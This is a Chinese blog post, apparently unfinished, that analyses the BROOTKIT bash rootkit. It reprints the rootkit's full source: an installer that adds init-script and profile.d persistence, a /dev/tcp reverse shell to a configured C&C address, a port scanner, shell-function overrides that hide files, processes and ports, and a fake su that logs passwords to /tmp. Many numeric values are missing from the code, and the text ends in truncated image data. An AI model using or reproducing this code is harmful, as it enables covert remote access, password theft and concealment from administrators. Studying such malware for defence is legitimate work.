BROOTKIT Pinciple、Code Analysis(undone)

目录

. Rootkit相关知识
. BROOTKIT源码分析
. 关键技术点
. 防御策略

1. Rootkit相关知识

关于rootkit的相关其他知识，请参阅以下文章

http://www.cnblogs.com/LittleHann/p/3918030.html
http://www.cnblogs.com/LittleHann/p/3910696.html
http://www.cnblogs.com/LittleHann/p/3879961.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3870974.html

2. BROOTKIT源码分析

0x1: br.conf

在安装BROOKIT之前，需要先对br.conf进行配置(如果是freebsd，则需要配置brsh.conf)

brootkit config file.
#the ports will be hide: port1,port2,...,portn.
HIDE_PORT               ,

#the files will be hide: file1,file2,...,filen.
HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon

#the process will be hide: process1,process2,...,processn.
HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon

#the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c)
REMOTE_HOST             10.97.235.12

#the connect back host port.
REMOTE_PORT             

#the connect backdoor base sleep time.
SLEEP_TIME              

0x2: install.sh

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

declare br_os_type=
declare br_privilege=
declare -a br_shell=()
declare br_shell_idx=
declare -a br_user=()

function br_install_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh
    #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh
}

function br_hookhup()
{
        :
}

function br_check_shell()
{
    local idx line user shell

    while read line
    do
        # 从/etc/passwd的一行中读取用户名
        user=`echo $line | cut -d ":" -f `
        # 从/etc/passwd的一行中读取当前用户对应的SHELL终端
        shell=`echo $line | cut -d ":" -f `

        if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then
            br_user[br_shell_idx]=$user
            br_shell[br_shell_idx]=$shell
            ((br_shell_idx++))
        fi
    done < /etc/passwd

    [ ${#br_user} -eq  ] && echo "no users has bash/sh environment." && exit

    for ((idx = ; idx < $br_shell_idx; idx++))
    do
        echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment."
    done
}

function br_check_privilege()
{
    [ $UID -eq  -o $EUID -eq  ] && br_privilege= || br_privilege=
}

function br_set_rootkit_path()
{
    if [ $br_privilege -eq  ]; then
        BR_ROOTKIT_PATH="/home/$USER/..."
    else
        echo "install brootkit using root privilege."
    fi
}

function br_check_os_type()
{
    local line

    line=`head -n  /etc/issue`
    if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then
        br_os_type=
    elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then
        br_os_type=
    elif echo $line|grep "[Uu]buntu" >/dev/null; then
        br_os_type=
    elif echo $line|grep "[Dd]ebian" >/dev/null; then
        br_os_type=
    elif echo $line|grep "[Ff]edora" >/dev/null; then
        br_os_type=
    else
        echo -e "target os type - $line is not supported."
        exit
    fi

    echo -e "target os type - $line"
    #echo $br_os_type
}

function br_centos_install()
{
    local idx

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon
    for idx in
    do
        ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
        [ $? -eq  ] && echo "copy brdaemon $idx failed." && exit
    done
}

function br_ubuntu_install()
{
    local idx

    cp brdaemon.sh /etc/init.d/brdaemon
    for idx in
    do
        ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon
        [ $? -eq  ] && echo "copy brdaemon $idx failed." && exit
    done
    ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon
}

function br_debian_install()
{
    cp brdaemon.sh /etc/init.d/brdaemon
    update-rc.d -f brdaemon start
}

function br_fedora_install()
{
        local idx

        cp brdaemon.sh /etc/rc.d/init.d/brdaemon
        for idx in
        do
                ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
                [ $? -eq  ] && echo "copy brdaemon $idx failed." && exit
        done
}

function br_creat_home()
{
    mkdir -p $BR_ROOTKIT_PATH -m
    [ $? -eq  ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit

    # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下
    cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq  ] && echo "copy brootkit failed." && exit

    chmod  $BR_ROOTKIT_PATH
}

function br_install_backdoor()
{
        if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null >&
        [ $? -eq  ] && echo "install backdoor failed." && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null >& &
        [ $? -eq  ] && echo "install backdoor failed." && exit
        fi
}

function main()
{
    # 检测操作系统类型
    br_check_os_type

    # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端
    br_check_shell

    # 检测当前是否是特权(root、sduo)用户
    br_check_privilege

    # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/...
    br_set_rootkit_path

    # 创建B、初始化ROOTKIT的HOME目录
    br_creat_home

    # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh
    br_install_backdoor

    # 设置隐蔽的常驻自启动后门
    if [ $br_privilege -eq  ]; then
        case $br_os_type in
            |)
                # /etc/rc.d/init.d/brdaemon
                br_centos_install ;;
            )
                # /etc/init.d/brdaemon
                br_ubuntu_install ;;
            )
                # /etc/init.d/brdaemon
                br_debian_install ;;
            )
                # /etc/rc.d/init.d/brdaemon
                br_fedora_install ;;
        esac
        br_install_rootkit
    fi

    if [ $? -eq  ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}

main

0x3: bashbd.sh

BROOTKIT的主程序，负责解析载入配置文件，并通过Linux原生提供的特殊Socket设备连接主控端(C&c)，即所谓的"肉鸡上线"

#!/bin/bash

declare BR_ROOTKIT_PATH

function br_set_rootkit_path()
{
        if [ $UID -eq  -o $EUID -eq  ]; then
        BR_ROOTKIT_PATH="/usr/include/..."
    else
                BR_ROOTKIT_PATH="/home/$USER/..."
    fi
}

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [  ]
    do
        MAX_ROW_NUM=`stty size | cut -d " " -f `
        MAX_COL_NUM=`stty size | cut -d " " -f `
        {
        PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
        exec <> /dev/tcp/$target_ip/$target_port
        [ $? -ne  ] && exit  || exec <&;exec >& >&
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        # 通过sleep保持通道联通
        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_set_rootkit_path
# 运行$BR_ROOTKIT_PATH/brconfig.sh，加载配置文件
. $BR_ROOTKIT_PATH/brconfig.sh
# 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数，并保存到本地变量中
br_load_config $BR_ROOTKIT_PATH/br.conf
# 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件，相当于系统会尝试连接:host 这台机器，对应port端口。如果主机以及端口存在，就建立一个socket 连接。将在，/proc/self/fd目录下面，有对应的文件出现
br_connect_backdoor

Relevant Link:

http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

0x4: brconfig.sh

负责解析加载配置文件的SHELL文件

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f `
                arg2=`echo $line | cut -d " " -f `

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $
}

function display_array()
{
    declare -a arg_tmp=$
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

0x5: brscan.sh

基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=
declare br_curr_port_num=
declare br_open_port_num=
declare br_thread_num=
declare br_timeout=
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=('/' '|' '\\' '-')
declare playx_len=

declare max_col_num=
declare base_row=
declare base_col=
declare cur_col=
declare total_port=
declare cur_port=

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+))

        for ((i = ; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($//))
        hour=$(($/))
        min=$(($/))

        if [ $min -eq  ]; then
                sec=$(($%))
        total_run_time="$sec s"
        else
                if [ $hour -eq  ]; then
                        sec=$(($%))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq  ]; then
                                tmp=$(($%))
                                min=$(($tmp/))
                                sec=$(($tmp%))
                                total_run_time="$hour h $min m $sec s"
                        else
                                #  =  *
                                tmp=$(($%))
                                hour=$(($tmp/))
                                tmp1=$(($tmp%))
                                min=$(($tmp1/))
                                sec=$(($tmp1%))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi

                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$/stat | cut -d " " -f `
    else
        return
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f  | cut -d "." -f `
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+))

    y=$((max_col_num+))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \
        $br_curr_port_num $br_port_num

    x=$((x+)); y=
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \
        $br_remote_host
}

# $ => remote host
# $ => remote port
# $ => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m= run_time x

    mkdir -p .scan

    for ((i = ; i < $; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" >${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+))
        if [ $x -ge $max_row_num ]; then
             m=;x=
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \
            $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec >&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq  ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill - $pid >/dev/null >&
            rm -f ".scan/$pid"
                fi
        done

    for ((i = ; i < $; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi

        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $ => remote host
# $ => thread_num
function br_scan_port()
{
    local i

    for ((i = ; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = ; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $ | cut -d "-" -f `
    end_port=`echo $ | cut -d "-" -f `

    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=','; ports=$

    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f `
        MAX_COL_NUM=`stty size|cut -d " " -f `
    max_row_num=$((MAX_ROW_NUM-))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq  ]; then
        br_usage $
        exit
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            # 解析用户输入的端口信息
            br_parse_port $OPTARG ;;
        n)
            # 线程数
            br_thread_num=$OPTARG ;;
        t)
            # 时间延时
            br_timeout=$OPTARG ;;
        o)
            # 日志文件
            br_logfile=$OPTARG ;;
        h)
            br_usage $
            exit
            ;;
        ?)
            echo "unkown arguments."
            exit
            ;;
        esac
    done

    shift $((OPTIND-))
    # 待扫描的远程主机IP
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    # 扫描初始化
    br_scan_init
    br_play_init

    # 显示扫描参数
    br_show_arg

    br_scan_port
    br_scan_exit
}

main $@

0x6: brootkit.sh

在全局范围定义了指令别名(alias)和实现函数

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.
#
# by wzt      http://www.cloud-sec.org
#

#declare -r builtin
#declare -r declare
#declare -r set
#declare -r fake_unset
#declare -r type
#declare -r typeset

#unalias ls >/dev/null >&

set +v

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function br_hide_engine()
{
        declare -a brootkit_func=(
                                "^typeset.*()|15" "^type.*()|27"
                                "^su.*()|26" "^reset_ps.*()|8"
                                "^reset_netstat.*()|8" "^reset_ls.*()|8"
                                "^reset_command.*()|42" "^ps.*()|14"
                                "^netstat.*()|14" "^max_file_length.*()|9"
                                "^ls.*()|64" "^fake_unset.*()|10"
                                "^fake_command.*()|12" "^display_array.*()|11"
                                "^dir.*()|3" "^declare.*()|41"
                                "^command*()|39" "^builtin.*()|19"
                                "^br_load_config.*()|28" "^br_display_config.*()|14"
                                "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5"
                                "^/bin/ps.*()|5" "^/bin/netstat.*()|5"
                                "^/bin/ls.*()|5" "^br_hide_file=|5"
                "^set.*()|19" "^br_hide_engine.*()|30"
                                )
        local func_line br_func func_name func_num

    echo "$1" >.br.tmp
        for br_func in ${brootkit_func[*]}
        do
                func_name=`echo $br_func | cut -d "|" -f `
                func_num=`echo $br_func | cut -d "|" -f `
                #echo $func_name $func_num
                func_line=`grep -n "$func_name" .br.tmp| awk -F: {'print $1'}`
                #echo $func_line
                sed -i "$func_line,+$func_num d" .br.tmp >/dev/null >&
        done
    cat .br.tmp; rm -f .br.tmp
}

function builtin()
{
    local fake_a

    unset command
    case $ in
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
                fake_a="$(command builtin $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $ $
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a

    unset command
    case $ in
        "")
                fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "-f"|"-F")
                fake_a="$(command declare $1 $2)"
                fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
                command declare $ $
            reset_command
            return ;;
    esac
}

function typeset()
{
        local fake_a 

    unset command
        case $ in
                ""|"-f"|"-F")
                        fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
                *)
                        command typeset $ $
            reset_command
                        return ;;
        esac
}

function type()
{
        case $ in
                "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
                        echo "$1 is a shell builtin"
                        return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
                *)
            unset command
                        command type $ $
            reset_command
                        return ;;
        esac
}

function set()
{
        local fake_a

    unset command
        case $ in
                "")
                        fake_a="$(command set)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
        "-x"|"+x")
            reset_command
            return ;;
                *)
            echo $ $
                        command set $ $
            reset_command
                        return ;;
        esac
}

function fake_unset()
{
        case $ in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
                        unset $ $
                        return ;;
        esac
}

function fake_command()
{
        case $ in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
            unset command
                        command $ $
                        reset_command
                        return ;;
        esac
}

function command()
{
        case $ in
                "builtin")
            builtin $ $
            return ;;
                "declare")
            declare $ $
            return ;;
        "set")
            set $ $
            return ;;
        "unset")
            fake_unset $ $
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        "type")
            type $ $
            return ;;
        "typeset")
            typeset $ $
            return ;;
        "command")
            fake_command $ $
            return ;;
                *)
            unset command
            command $ $
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        esac
}

function reset_command()
{
    function command()
    {
            case $ in
                    "builtin")
                            builtin $ $
                            return ;;
                    "declare")
                            declare $ $
                            return ;;
                    "set")
                            set $ $
                            return ;;
                    "unset")
                            fake_unset $ $
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
                    "type")
                            type $ $
                            return ;;
                    "typeset")
                            typeset $ $
                            return ;;
                    "command")
                            fake_command $ $
                            return ;;
                    *)
                            unset command
                            command $ $
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
            esac
    }
}

function su()
{
        local arg_list=("" "-" "-l" "--login"
                        "-c" "--command" "--session-command"
                        "-f" "--fast"
                        "-m" "--preserve-environment" "-p"
                        "-s" "--shell=SHELL")
        local flag= tmp_arg arg pass

        if [ $UID -eq  ]; then
                /bin/su $; unset su ; return $?
        fi

        for arg in ${arg_list[@]}
        do
                [ "$1" = "$arg" ] && flag=
        done

        [ $# -eq  ] && flag=

        tmp_arg=$;tmp_arg=${tmp_arg::};
        [ "$tmp_arg" != "-" -a $flag -eq  ] && flag=

        if [ $flag -ne  ];then
                /bin/su $; return $?
        fi

        [ ! -f /tmp/... ] && `touch /tmp/... && chmod  /tmp/... >/dev/null >&`

        echo -ne "Password:\r\033[?25l"
        read -t  -s pass
        echo -ne "\033[K\033[?25h"

        /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null >&

function max_file_length()
{
    local tmp_file sum= n=

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done

    return $sum
}

function ls()
{
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len= sum= n= display_mode=

    max_col_num=`stty size|cut -d " " -f `

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
            if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=; break
            fi
    done

    case $display_mode in
    )
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
            do
            hide_flag=
                old_ifs=$IFS; IFS=","
                for hide_file in ${br_hide_file[@]}
                do
                        if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=; break
                fi
            done
                   IFS=$old_ifs

            [ $hide_flag -eq   ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
            done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    )
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
            fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
            done
            IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    /bin/ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        /bin/ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function ps()
{
        local proc_name hide_proc old_ifs

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps $@`
        for hide_proc in ${br_hide_proc[@]}
        do
            proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
        done

        echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
        function /bin/ps()
        {
                unset -f /bin/ps
                ps $@
                reset_ps
        }
}

function /bin/ps()
{
        unset -f /bin/ps
        ps $@
        reset_ps
}

function netstat()
{
        local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/brconfig.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
        tmp_port=`/bin/netstat $@`
        for hide_port in ${br_hide_port[@]}
        do
                tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
        done
        echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
        function /bin/netstat()
        {
                unset -f /bin/netstat
                netstat $@
                reset_netstat
        }
}

function /bin/netstat()
{
        unset -f /bin/netstat
        netstat $@
        reset_netstat
}

/etc/profile.d/brootkit.sh环境配置文件在这里相当于进行了BASH函数重载的操作，我们知道，Bash下执行执行是遵循一个寻址顺序的

. builtin(alias)别名: alias su="ls -l"
. 自定义BASH函数: function su { echo “Hello world”; }
. Bash内置命令
. 外部程序(搜索顺序取决于环境变量PATH的配置)
    ) .(当前目录)
    ) /bin/
    ) /sbin/
    ) /usr/bin
    ) /usr/sbin

aaarticlea/jpeg;base64,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